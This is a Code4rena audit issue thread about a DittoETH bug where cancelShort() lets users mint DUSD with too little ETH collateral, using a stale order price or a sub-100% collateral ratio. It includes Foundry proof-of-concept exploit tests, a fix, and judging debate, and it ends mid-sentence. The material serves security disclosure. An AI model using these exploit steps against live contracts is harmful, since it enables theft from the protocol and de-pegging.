search

code-423n4 / 2024-07-dittoeth-findings

0 stars 0 forks source link

`DUSD` assets can be minted with less `ETH` collateral than required #8

Open c4-bot-8 opened 4 months ago

c4-bot-8 commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/facets/OrdersFacet.sol#L60 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L944 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L946 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L953 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/libraries/LibOrders.sol#L960

Vulnerability details

Summary

I discovered that the current implementation has not fixed the issue H-03 (Users can mint DUSD with less collateral than required which gives them free DUSD and may open a liquidatable position) raised in the previous C4 audit.

Description

To mint the DUSD assets with less collateral than required, a user or attacker executes the OrdersFacet::cancelShort() to cancel the shortOrder with its shortRecord.ercDebt < minShortErc (i.e., shortRecord.status == SR.PartialFill).

The OrdersFacet::cancelShort() will execute another internal function, LibOrders::cancelShort() (@1 in the snippet below), to do the short canceling job. If the shortOrder's corresponding shortRecord.status == SR.PartialFill and has shortRecord.ercDebt < minShortErc, the steps @2.1 and @2.2 will get through.

Since the shortRecord is less than the minShortErc, the cancelShort() has to fill an ercDebt for more to reach the minShortErc threshold (so that the partially filled shortRecord.ercDebt will == minShortErc). Specifically, the function has to virtually mint the DUSD assets to increase the ercDebt by spending the shortRecord.collateral (Let's name it the collateralDiff) for exchange.

Here, we come to the root cause in @3. To calculate the collateralDiff:

  1. The shortOrder.price is used instead of the current price. Nevertheless, the shortOrder.price can be stale (less or higher than the current price).
  2. The shortOrder.shortOrderCR (i.e., the cr variable in the snippet below) is used, which can be less than 100% CR.

If the shortOrder.price is less than the current price and/or the shortOrder.shortOrderCR is less than 100% CR, the calculated collateralDiff will have a value less than the value of the DUSD assets that get minted (@4).

    // FILE: https://github.com/code-423n4/2024-07-dittoeth/blob/main/contracts/facets/OrdersFacet.sol
    function cancelShort(address asset, uint16 id) external onlyValidAsset(asset) nonReentrant {
        STypes.Order storage short = s.shorts[asset][id];
        if (msg.sender != short.addr) revert Errors.NotOwner();
        if (short.orderType != O.LimitShort) revert Errors.NotActiveOrder();

        //@audit @1 -- Execute the cancelShort() to cancel the shortOrder with 
        //             its shortRecord.ercDebt < minShortErc (SR.PartialFill).
@1      LibOrders.cancelShort(asset, id);
    }

    // FILE: https://github.com/code-423n4/2024-07-dittoeth/blob/main/contracts/libraries/LibOrders.sol
    function cancelShort(address asset, uint16 id) internal {
        ...

        if (shortRecord.status == SR.Closed) {
            ...
@2.1    } else { //@audit @2.1 -- shortRecord.status == SR.PartialFill

            uint256 minShortErc = LibAsset.minShortErc(Asset);
@2.2        if (shortRecord.ercDebt < minShortErc) { //@audit @2.2 -- shortRecord.ercDebt < minShortErc

                // @dev prevents leaving behind a partially filled SR under minShortErc
                // @dev if the corresponding short is cancelled, then the partially filled SR's debt will == minShortErc
                uint88 debtDiff = uint88(minShortErc - shortRecord.ercDebt); // @dev(safe-cast)
                {
                    STypes.Vault storage Vault = s.vault[vault];

                    //@audit @3 -- To calculate the collateralDiff:
                    //             1) The shortOrder.price is used instead of the current price.
                    //                 -> The shortOrder.price can be stale (less or higher than the current price).
                    //
                    //             2) The shortOrder.shortOrderCR (i.e., cr) is used, which can be less than 100% CR.
@3                  uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(cr);

                    LibShortRecord.fillShortRecord(
                        asset,
                        shorter,
                        shortRecordId,
                        SR.FullyFilled,
@4                      collateralDiff, //@audit @4 -- The collateralDiff's value can be less than the value of the DUSD assets that get minted.
                        debtDiff,
                        Asset.ercDebtRate,
                        Vault.dethYieldRate,
                        0
                    );

                    Vault.dethCollateral += collateralDiff;
                    Asset.dethCollateral += collateralDiff;
                    Asset.ercDebt += debtDiff;

                    // @dev update the eth refund amount
                    eth -= collateralDiff;
                }
                // @dev virtually mint the increased debt
                s.assetUser[asset][shorter].ercEscrowed += debtDiff;
            } else {
                ...
            }
        }

        ...
    }

Impact

Users or attackers can mint the DUSD assets with less ETH collateral than required (i.e., free money). This vulnerability is critical and can lead to the de-pegging of the DUSD token.

Proof of Concept

This section provides a coded PoC.

Place the test_MintFreeDUSD() and test_MintBelowPrice() in the .test/Shorts.t.sol file and declare the following import directive at the top of the test file: import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";.

There are two test functions. Execute the commands:

  1. forge test -vv --mt test_MintFreeDUSD
  2. forge test -vv --mt test_MintBelowPrice

PoC #1 shows we can mint the free DUSD by canceling the shortOrder with the shortOrderCR < 100%. For PoC #2, we can mint the free DUSD by canceling the shortOrder with the price < the current price.

Note: in the current codebase, the developer has improved how to source more collateral if the CR < initialCR in the createLimitShort(). For this reason, I had to modify the original test functions developed by nonseodion to make them work again. Thanks to nonseodion.

// Require: import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";

// Credit:
//  - Original by: nonseodion
//  - Modified by: serial-coder
function test_MintFreeDUSD() public { // PoC #1
    // Set the initial, penalty and liquidation CRs
    vm.startPrank(owner);
    // Set below 200 to allow shorter provide less than 100% of debt
    diamond.setInitialCR(asset, 170); 
    diamond.setPenaltyCR(asset, 120);
    diamond.setLiquidationCR(asset, 150);
    vm.stopPrank();

    // Create a bid to match the short and change its state to SR.PartialFill
    fundLimitBidOpt(1 ether, 0.01 ether, receiver);

    // How to calculate the ethInitial:
    //      minEth = price.mul(minShortErc);
    //      diffCR = initialCR - CR;
    //      ethInitial = minEth.mul(diffCR);
    uint88 ethInitial = 2000 ether;

    // Create the short providing only 70% of the dusd to be minted
    uint88 price = 1 ether;
    depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether) + ethInitial);
    uint16[] memory shortHintArray = setShortHintArray();
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);

    STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
    // Successfully matches the bid
    assertTrue(short.status == SR.PartialFill);

    // Cancel the short to use up collateral provided and mint dusd
    vm.prank(sender);
    cancelShort(101);

    short = getShortRecord(sender, C.SHORT_STARTING_ID);
    assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
    assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided

    // The position is no longer liquidatable because the developer has improved 
    // how to source more collateral if CR < initialCR in the createLimitShort().
    // However, we can still use the CR of 70% to calculate the collateral
    // whose value is less than the value of DUSD that gets minted.
}

// Credit:
//  - Original by: nonseodion
//  - Modified by: serial-coder
function test_MintBelowPrice() public { // PoC #2
    // Create a bid to match the short and change its state to SR.PartialFill
    fundLimitBidOpt(1 ether, 0.01 ether, receiver);

    // Create the short providing 500% of the dusd to be minted
    // Current initialCR is 500%
    uint88 price = 1 ether;
    depositEth(sender, price.mulU88(5000 ether).mulU88(5 ether));
    uint16[] memory shortHintArray = setShortHintArray();
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 500);

    STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
    assertTrue(short.status == SR.PartialFill); // CR is partially filled by bid

    // Set the new price to 1.5 ether so that price increase
    uint256 newPrice = 1.5 ether;
    skip(15 minutes);
    ethAggregator.setRoundData(
        92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
    );
    fundLimitBidOpt(1 ether, 0.01 ether, receiver);
    assertApproxEqAbs(diamond.getProtocolAssetPrice(asset), newPrice, 15000000150);

    // Cancel the short to mint at 1 ether instead of 1.5 ether
    vm.prank(sender);
    cancelShort(101);

    short = getShortRecord(sender, C.SHORT_STARTING_ID);
    assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
    // 2000 dusd minted for 10000 ether (500% at price of 1 ether) 
    // instead of 15000 ether (500% at price of 1.5 ether)
    assertEq(short.collateral, 0.01 ether + 5*2000 ether);

    // Position is liquidatable
    assertGt( diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1.5 ether)));
}

Tools Used

Manual Review

Recommended Mitigation Steps

When calculating the collateralDiff:

  1. Use the current price instead of the shortOrder.price.
  2. If the shortOrder.shortOrderCR < initialCR, use the initialCR as the collateral ratio instead of the shortOrder.shortOrderCR.

Note: I have slightly modified the original recommended code of nonseodion to make it work with the current codebase. Thanks to nonseodion again.

    // Credit:
    //  - Original by: nonseodion
    //  - Modified by: serial-coder
    function cancelShort(address asset, uint16 id) internal {
        ...

        if (shortRecord.status == SR.Closed) {
            ...
        } else {
            uint256 minShortErc = LibAsset.minShortErc(Asset);
           if (shortRecord.ercDebt < minShortErc) { 
                // @dev prevents leaving behind a partially filled SR under minShortErc
                // @dev if the corresponding short is cancelled, then the partially filled SR's debt will == minShortErc
                uint88 debtDiff = uint88(minShortErc - shortRecord.ercDebt); // @dev(safe-cast)
                {
                    STypes.Vault storage Vault = s.vault[vault];

-                   uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(cr);
+                   uint256 newCR = convertCR(
+                       shortOrder.shortOrderCR < s.asset[asset].initialCR ? s.asset[asset].initialCR : shortOrder.shortOrderCR
+                   );
+                   uint80 price = uint80(LibOracle.getSavedOrSpotOraclePrice(asset));
+                   uint88 collateralDiff = price.mulU88(debtDiff).mulU88(newCR);

                    LibShortRecord.fillShortRecord(
                        asset,
                        shorter,
                        shortRecordId,
                        SR.FullyFilled,
                        collateralDiff,
                        debtDiff,
                        Asset.ercDebtRate,
                        Vault.dethYieldRate,
                        0
                    );

                    Vault.dethCollateral += collateralDiff;
                    Asset.dethCollateral += collateralDiff;
                    Asset.ercDebt += debtDiff;

                    // @dev update the eth refund amount
                    eth -= collateralDiff;
                }
                // @dev virtually mint the increased debt
                s.assetUser[asset][shorter].ercEscrowed += debtDiff;
            } else {
                ...
            }
        }

        ...
    }

Assessed type

Other

c4-judge commented 4 months ago

hansfriese marked the issue as duplicate of #2

nonseodion commented 4 months ago

Hi @hansfriese thanks for your judging efforts. cc: @c4-sponsor

I want to mention that this issue is a duplicate of #11 and not #2.

There are two reasons provided in the report that allow the attacker to mint DUSD using less collateral:

  1. The shortOrder.price is used instead of the current price. Nevertheless, the shortOrder.price can be stale (less or higher than the current price).
  2. The shortOrder.shortOrderCR (i.e., the cr variable in the snippet below) is used, which can be less than 100% CR.

The first reason is exactly the same as the root cause issue for #11 which requires a price change.

The second reason also does not work without a price change. When you create a Short Order at a cr < 1, you are forced to provide ethInitial as collateral to cover the minShortErc.

ShortOrdersFacet.sol#L57-L59

            uint256 minEth = price.mul(p.minShortErc);
            uint256 diffCR = p.initialCR - p.CR;
❌         p.ethInitial = minEth.mul(diffCR);

When the order is cancelled, only up to minShortErc can be minted and the user still has to provide extra collateral called collateralDiff in the snippet below for the minShortErc again.

LibOrders.sol#L923

uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(cr);

The user ends up providing initialCR = cr + diffCR. initialCR can't be less than 1, thus the user ends up providing enough collateral for minShortErc. For cancelShort() to mint DUSD, the order must have been matched at the oracle price when it was created. Except the oracle price increases the user will provide enough collateral.

The comment in the last assert statement for the first test in the report incorrectly states that 70% of ETH collateral was provided.

assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided

The test is done at a price of 1 ether for DUSD and mints 2000 DUSD (2000 ether). ethInitial is also 2000 ether. Thus,

0.01 ether + 0.7 * 2000 ether + ethInitial = 0.01 ether + 0.7 * 2000 ether + 2000 ether > 2000 DUSD

Unlike the price change required in this report and #11, #2 does not require any price change whatsoever.

serial-coder commented 4 months ago

Hi @hansfriese and @ditto-eth,

Hi @hansfriese thanks for your judging efforts. cc: @c4-sponsor

I want to mention that this issue is a duplicate of #11 and not #2.

There are two reasons provided in the report that allow the attacker to mint DUSD using less collateral:

  1. The shortOrder.price is used instead of the current price. Nevertheless, the shortOrder.price can be stale (less or higher than the current price).
  2. The shortOrder.shortOrderCR (i.e., the cr variable in the snippet below) is used, which can be less than 100% CR.

The first reason is exactly the same as the root cause issue for #11 which requires at a price change.

The second reason also does not work without a price change. When you create a Short Order at a cr < 1, you are forced to provide ethInitial as collateral to cover the minShortErc.

ShortOrdersFacet.sol#L57-L59

            uint256 minEth = price.mul(p.minShortErc);
            uint256 diffCR = p.initialCR - p.CR;
❌         p.ethInitial = minEth.mul(diffCR);

When the order is cancelled only up to minShortErc can be minted and the user still has to provide extra collateral called collateralDiff in the snippet below for the minShortErc again.

LibOrders.sol#L923

uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(cr);

The user ends up providing initialCR = cr + diffCR. initialCR can't be less than 1, thus the user ends up providing enough collateral for minShortErc. For cancelShort() to mint DUSD, the order must have been matched at the oracle price when it was created. Except the oracle price increases the user will provide enough collateral.

The comment in the last assert statement for the first test in the report incorrectly states that 70% of ETH collateral was provided.

assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided

The test is done at a price of 1 ether for DUSD and mints 2000 DUSD (2000 ether). ethInitial is also 2000 ether. Thus,

0.01 ether + 0.7 * 2000 ether + ethInitial = 0.01 ether + 0.7 * 2000 ether + 2000 ether > 2000 DUSD

Unlike the price change required in this report and #11, #2 does not require any price change whatsoever.

I want to respond to the @nonseodion's comment.

The following snippet presents a modified version to align with #2. As you can see, we can decrease the extra collateral, ethInitial, from the shortRecord before executing the cancelShort(). At the end of the test, the shortRecord is finally liquidatable like #2. The modified test also proves that we don't need the price change as @nonseodion mentioned.

For this reason, this issue should be a primary issue due to the two valid exploit cases, whereas #2 only provides one valid case.

// Credit:
//  - Original by: nonseodion
//  - Modified by: serial-coder
function test_MintFreeDUSD_ModifiedVersionToAlignWithIssue2() public { // (modified version to align with #2)
    // Set the initial, penalty and liquidation CRs
    vm.startPrank(owner);
    // Set below 200 to allow shorter provide less than 100% of debt
    diamond.setInitialCR(asset, 170); 
    diamond.setPenaltyCR(asset, 120);
    diamond.setLiquidationCR(asset, 150);
    vm.stopPrank();

    // Create a bid to match the short and change its state to SR.PartialFill
    fundLimitBidOpt(1 ether, 0.01 ether, receiver);

    // How to calculate the ethInitial:
    //      minEth = price.mul(minShortErc);
    //      diffCR = initialCR - CR;
    //      ethInitial = minEth.mul(diffCR);
    uint88 ethInitial = 2000 ether;

    // Create the short providing only 70% of the dusd to be minted
    uint88 price = 1 ether;
    depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether) + ethInitial);
    uint16[] memory shortHintArray = setShortHintArray();
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);

    STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
    // Successfully matches the bid
    assertTrue(short.status == SR.PartialFill);

    // Decrease the extra collateral, ethInitial
    vm.prank(sender);
    decreaseCollateral(C.SHORT_STARTING_ID, uint80(ethInitial));

    // Cancel the short to use up collateral provided and mint dusd
    vm.prank(sender);
    cancelShort(101);

    short = getShortRecord(sender, C.SHORT_STARTING_ID);
    assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
    assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether); // 70% of ETH collateral provided

    // This SR is liquidatable
    assertGt(diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1 ether)));
}
serial-coder commented 4 months ago

Hi @hansfriese and @ditto-eth,

This issue provides two valid exploit cases:

  1. The shortOrder.price is used instead of the current price. Nevertheless, the shortOrder.price can be stale (less or higher than the current price).
  2. The shortOrder.shortOrderCR (i.e., the cr variable in the snippet below) is used, which can be less than 100% CR.

Whereas #11 (the case 1 above) and #2 (the case 2 above) only provide a single valid case.

For this reason, this issue should be a primary issue with satisfactory (100%), whereas #11 and #2 should get a partial-50 (50%).

Thanks for your time, sir.

hansfriese commented 3 months ago

After careful consideration, I agree with nonseodion. This report doesn't demonstrate the same impact as #2 due to the revised logic in createLimitShort(). To present a valid attack path, the attacker would need to call decreaseCollateral() before calling cancelShort(). Therefore, I believe it is fair to treat #2 and #8 as separate issues. #11 will be a duplicate of #8.

c4-judge commented 3 months ago

hansfriese marked the issue as not a duplicate

c4-judge commented 3 months ago

hansfriese marked the issue as satisfactory

c4-judge commented 3 months ago

hansfriese marked the issue as selected for report

c4-judge commented 3 months ago

hansfriese marked the issue as primary issue

serial-coder commented 3 months ago

Hi @hansfriese, cc. @ditto-eth,

With all due respect, Sir. But, please allow me to express my test assumption while writing the test_MintFreeDUSD().

Because I wanted to prove that we can mint DUSD assets with less than 100% CR provided (i.e., 70% CR in the test). As you can see the lines marked with ❌, the test proves that we can mint 2000 DUSD with only 70% of ETH collateral provided. That was the point of my test assumption. Isn't that a valid proof?

I mean, my primary focus wasn't bringing the position to be liquidatable (like #2), but only proving that we can mint DUSD assets for free. However, as you can see the modified version of my test (to respond nonseodion's comment), I modified the original test to demonstrate that the original test version has a correct test assumption and it can slightly be modified to align with #2, bringing the position to be liquidatable.

For this reason, I believe that my test is sufficient to prove the main point. So, I still believe that this report should be a primary issue with satisfactory (100%), whereas #11 and #2 should get a partial-50 (50%).

Could you have a second look? Thanks for your time, sir.

function test_MintFreeDUSD() public { // PoC #1
    // Set the initial, penalty and liquidation CRs
    vm.startPrank(owner);
    // Set below 200 to allow shorter provide less than 100% of debt
    diamond.setInitialCR(asset, 170); 
    diamond.setPenaltyCR(asset, 120);
    diamond.setLiquidationCR(asset, 150);
    vm.stopPrank();

    // Create a bid to match the short and change its state to SR.PartialFill
    fundLimitBidOpt(1 ether, 0.01 ether, receiver);

    // How to calculate the ethInitial:
    //      minEth = price.mul(minShortErc);
    //      diffCR = initialCR - CR;
    //      ethInitial = minEth.mul(diffCR);
    uint88 ethInitial = 2000 ether;

    // Create the short providing only 70% of the dusd to be minted
    uint88 price = 1 ether;
    depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether) + ethInitial);
    uint16[] memory shortHintArray = setShortHintArray();
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);

    STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
    // Successfully matches the bid
    assertTrue(short.status == SR.PartialFill);

    // Cancel the short to use up collateral provided and mint dusd
    vm.prank(sender);
    cancelShort(101);

    short = getShortRecord(sender, C.SHORT_STARTING_ID);
❌  assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
❌  assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided

    // The position is no longer liquidatable because the developer has improved 
    // how to source more collateral if CR < initialCR in the createLimitShort().
    // However, we can still use the CR of 70% to calculate the collateral
    // whose value is less than the value of DUSD that gets minted.
}
0xbepresent commented 3 months ago

Hi @hansfriese,

Based on the applied rules, then issue #11 should be considered as a separate issue as well. Issue #2 discusses how the decreaseCollateral() function can be used to reduce collateral before cancelling a short, thus removing the initially deposited collateral needed to cover the minShortErc. This would result in dUSD being minted with insufficient Ethereum collateral.

An attacker can use decreaseCollateral() to reduce the collateral of the Short Record before cancelling. Thus, removing the collateral added for minShortErc, and the protocol ends up minting dUSD with less Ethereum collateral.

Issue #11 describes the behavior of "decrementing the collateral" through redemption in the following way:

  1. ShortRecord is proposed for redemption, leaving minimum collateral if it is overcollateralized and ercDebt=0.
  2. Maliciously or accidentally, a user closes the short, leading to the minting of free dUSD because ercDebt=0.
  3. The proposal is disputed, then all the collateral proposed will be returned to the shortRecord.
  4. The shortRecord ends up with more collateral and free dUSD.

Furthermore, the solution in #2 decreaseCollateral() does not address the issues raised in issue #11 @ditto-eth . It should also be fixed so that dUSD is not minted when a shortRecord is in redemption

ditto-eth commented 3 months ago

I believe they have already been categorized correctly, issues #8 and #11 are dependent on time/price change whereas #2 is not.

also, upon further examination im doubting the validity of the poc in #11 because SR can't be redeemed to below minShortErc unless it is to 0, in which case cancelShort will delete the shortOrder instead of minting anything. however, i agree with the concept still which is that dUSD can be minted in general with an outdated oracle price, it just wouldnt happen via redemptions. thus i believe at best #11 serves as a duplicate of #8

serial-coder commented 3 months ago

Hi @ditto-eth

I believe they have already been categorized correctly, issues #8 and #11 are dependent on time/price change whereas #2 is not.

But no price/time change is needed in my PoC, sir.

Note, my report has 2 PoCs:

  1. test_MintFreeDUSD() -- to demonstrate that we can mint the free DUSD by canceling the shortOrder with the shortOrderCR < 100% (no price change is needed).
  2. test_MintBelowPrice() -- to demonstrate that we can mint the free DUSD by canceling the shortOrder with the price < the current price (price change is needed).

The below PoC needs no price change (please refer to my other comment for the detailed test assumption).

function test_MintFreeDUSD() public { // PoC #1
    // Set the initial, penalty and liquidation CRs
    vm.startPrank(owner);
    // Set below 200 to allow shorter provide less than 100% of debt
    diamond.setInitialCR(asset, 170); 
    diamond.setPenaltyCR(asset, 120);
    diamond.setLiquidationCR(asset, 150);
    vm.stopPrank();

    // Create a bid to match the short and change its state to SR.PartialFill
❌  fundLimitBidOpt(1 ether, 0.01 ether, receiver); // Price == 1 ether

    // How to calculate the ethInitial:
    //      minEth = price.mul(minShortErc);
    //      diffCR = initialCR - CR;
    //      ethInitial = minEth.mul(diffCR);
    uint88 ethInitial = 2000 ether;

    // Create the short providing only 70% of the dusd to be minted
❌  uint88 price = 1 ether;
❌  depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether) + ethInitial);
    uint16[] memory shortHintArray = setShortHintArray();
❌  MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
❌  diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);

    STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
    // Successfully matches the bid
    assertTrue(short.status == SR.PartialFill);

    // Cancel the short to use up collateral provided and mint dusd
    vm.prank(sender);
    cancelShort(101);

    short = getShortRecord(sender, C.SHORT_STARTING_ID);
❌  assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
❌  assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided
}
0xbepresent commented 3 months ago

@ditto-eth

Why is there doubt about the validity of the POC proposed in #11? In the line assertGt(diamond.getAssetUserStruct(asset, extra).ercEscrowed, extraBalanceErcEscrowedBefore);, it is verified how more ERC is minted after performing cancelShort. Additionally, in the logs, it can be observed how the SR collateral increases after canceling the short. The amount proposed in the redemption is the entire amount of the SR so that it results in SR.ercDebt=0, allowing new ERC to be minted.

Test provided in #11:

    function test_mintERCAtOutdatedPrice() public {
        //
        fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
        fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
        // PartiallFill order
        fundLimitBidOpt(DEFAULT_PRICE + 1, DEFAULT_AMOUNT + 1, receiver);
        fundLimitShortOpt(DEFAULT_PRICE + 1, DEFAULT_AMOUNT * 2, extra);
        //
        // 1. Propose orders
        uint88 redemptionAmount = DEFAULT_AMOUNT * 2;
        MTypes.ProposalInput[] memory proposalInputs = new MTypes.ProposalInput[](2);
        proposalInputs[0] = MTypes.ProposalInput({shorter: extra, shortId: C.SHORT_STARTING_ID, shortOrderId: 101});
        proposalInputs[1] = MTypes.ProposalInput({shorter: sender, shortId: C.SHORT_STARTING_ID, shortOrderId: 0});
        address redeemer = receiver;
        depositUsd(redeemer, DEF_REDEMPTION_AMOUNT);
        _setETH(1000 ether);
        vm.prank(redeemer);
>>      diamond.proposeRedemption(asset, proposalInputs, redemptionAmount, MAX_REDEMPTION_FEE, MAX_REDEMPTION_DEADLINE);
        //
        // 2. `extra user` cancel short and virtually mints ERC at short price. SR Collateral is increased.
        uint extraBalanceErcEscrowedBefore = diamond.getAssetUserStruct(asset, extra).ercEscrowed;
        STypes.ShortRecord memory extraSR = getShortRecord(extra, C.SHORT_STARTING_ID);
        console.log("Collateral before:", extraSR.collateral);
        _setETH(2000 ether);
        vm.prank(extra);
        cancelShort(101);
>>      assertGt(diamond.getAssetUserStruct(asset, extra).ercEscrowed, extraBalanceErcEscrowedBefore);
        extraSR = getShortRecord(extra, C.SHORT_STARTING_ID);
        console.log("Collateral after:", extraSR.collateral);
    }

Output:

[PASS] test_mintERCAtOutdatedPrice() (gas: 1518517)
Logs:
  Collateral before: 2500000000000030000
  Collateral after: 5000000000000040000
ditto-eth commented 3 months ago

@serial-coder this specific test is not actually valid given the last line:

assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided

ethInitial means that it is impossible for the SR to not have enough collateral when oracle price hasn't changed. so more accurately it's 70% + 100% = 170%. the concept of an outdated price is still valid though

ditto-eth commented 3 months ago

@0xbepresent actually you are correct, my mistake the POC works

serial-coder commented 3 months ago

@serial-coder this specific test is not actually valid given the last line:

assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided

ethInitial means that it is impossible for the SR to not have enough collateral when oracle price hasn't changed. so more accurately it's 70% + 100% = 170%. the concept of an outdated price is still valid though

@ditto-eth, cc. @hansfriese,

Understood but have you checked this comment?

I understand your point. I didn't remove the ethInitial in the PoC. However, the PoC and report's description section still explain the root cause. Isn't it?

I do believe this issue should be at least a duplicate of #2 with partial-75.

hansfriese commented 3 months ago

Thanks for your discussions. After reconsideration, I believe it is best to maintain the current duplicate status for the following reasons: